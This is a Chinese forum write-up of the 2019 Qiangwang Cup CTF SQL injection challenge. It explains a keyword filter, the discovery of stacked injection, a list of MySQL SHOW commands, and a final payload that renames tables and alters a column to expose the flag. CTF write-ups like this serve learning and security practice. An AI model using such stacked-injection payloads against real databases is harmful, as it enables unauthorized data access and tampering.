2019 强网杯SQL注入wp

g1870412862   ·   发表于 2020-11-19 15:03:19   ·   CTF&WP专版
    很明显的get传参,屏蔽了#注释,但是可以用-- qwe。后台对select|update|delete|drop|insert|where做了过滤。

    尝试绕过,奈何sel/**/ect,‘sel’+‘ect’,hex编码都没有奏效,好在天无绝人之路,在语句末尾加上;发现页面似乎发生了一丝变化,我丢,居然有堆叠注入

    在正则过滤中发现其实还是有遗漏的,比如show命令
    1.显示mysql中所有数据库的名称.

    1
    mysql>show databases;
    2.显示当前数据库中所有表的名称

    1
    2
    3
    mysql>show tables;
    或
    mysql>show tables from database_name;
    3.显示表中列名称

    1
    mysql>show columns from database_name.table_name;
    4.查看某MySQL用户的使用权限

    1
    mysql>show grants for user_name;
    5.显示create database 语句是否能够创建指定的数据库,并可以查看到创建库语句的SQL信息。

    1
    mysql>show create database database_name;
    6.显示create table 语句是否能够创建指定的数据表,并可以查看到表创建语句的SQL信息。

    1
    mysql>show create table table_name;
    7.显示安装以后可用的存储引擎和默认引擎。

    1
    mysql>show engines;
    8.显示最后一个执行的语句所产生的错误、警告和通知

    1
    mysql> show warnings;
    9.只显示最后一个执行语句所产生的错误

    1
    mysql>show errors;
    10.显示系统中正在运行的所有进程,也就是当前正在执行的查询.

    1
    mysql> show processlist\G
    11.查看所有存储过程。

    1
    mysql> show procedure status;
    12.查看某个存储过程内容

    1
    show create procedure 存储过程名称;
    13.查看函数的内容.

    1
    show create function func_name;

使用show tables,找到了表名

show columns from 1919810931114514,(注意是反单引)

    关于单引号和反单引号在mysql中是这么规定的
    单引号( ' )或双引号主要用于 字符串的引用符号如:
        mysql> SELECT 'hello', '"hello"', '""hello""', 'hel''lo', '/'hello';
    数据库、表、索引、列和别名用的是引用符是反勾号(‘`’),如:
        mysql>SELECT * FROM `select` WHERE `select`.id > 100;

找到了目标,但是我们并不能用select命令把表内内容给查出来,show命令并不能查询到表内数据,但是我们可以把flag所在的表变为默认查询的表,这样就能直接把数据呈现在页面上

    rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100); -- qwe
    将words表改名为words1,flag所在表改为words,字段名也修改的和原本保持一样,这样就实现了狸猫换太子

打赏我,让我更有动力~

1 条回复   |  直到 2020-11-19 | 1124 次浏览

xiao_yi
发表于 2020-11-19

学习了

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.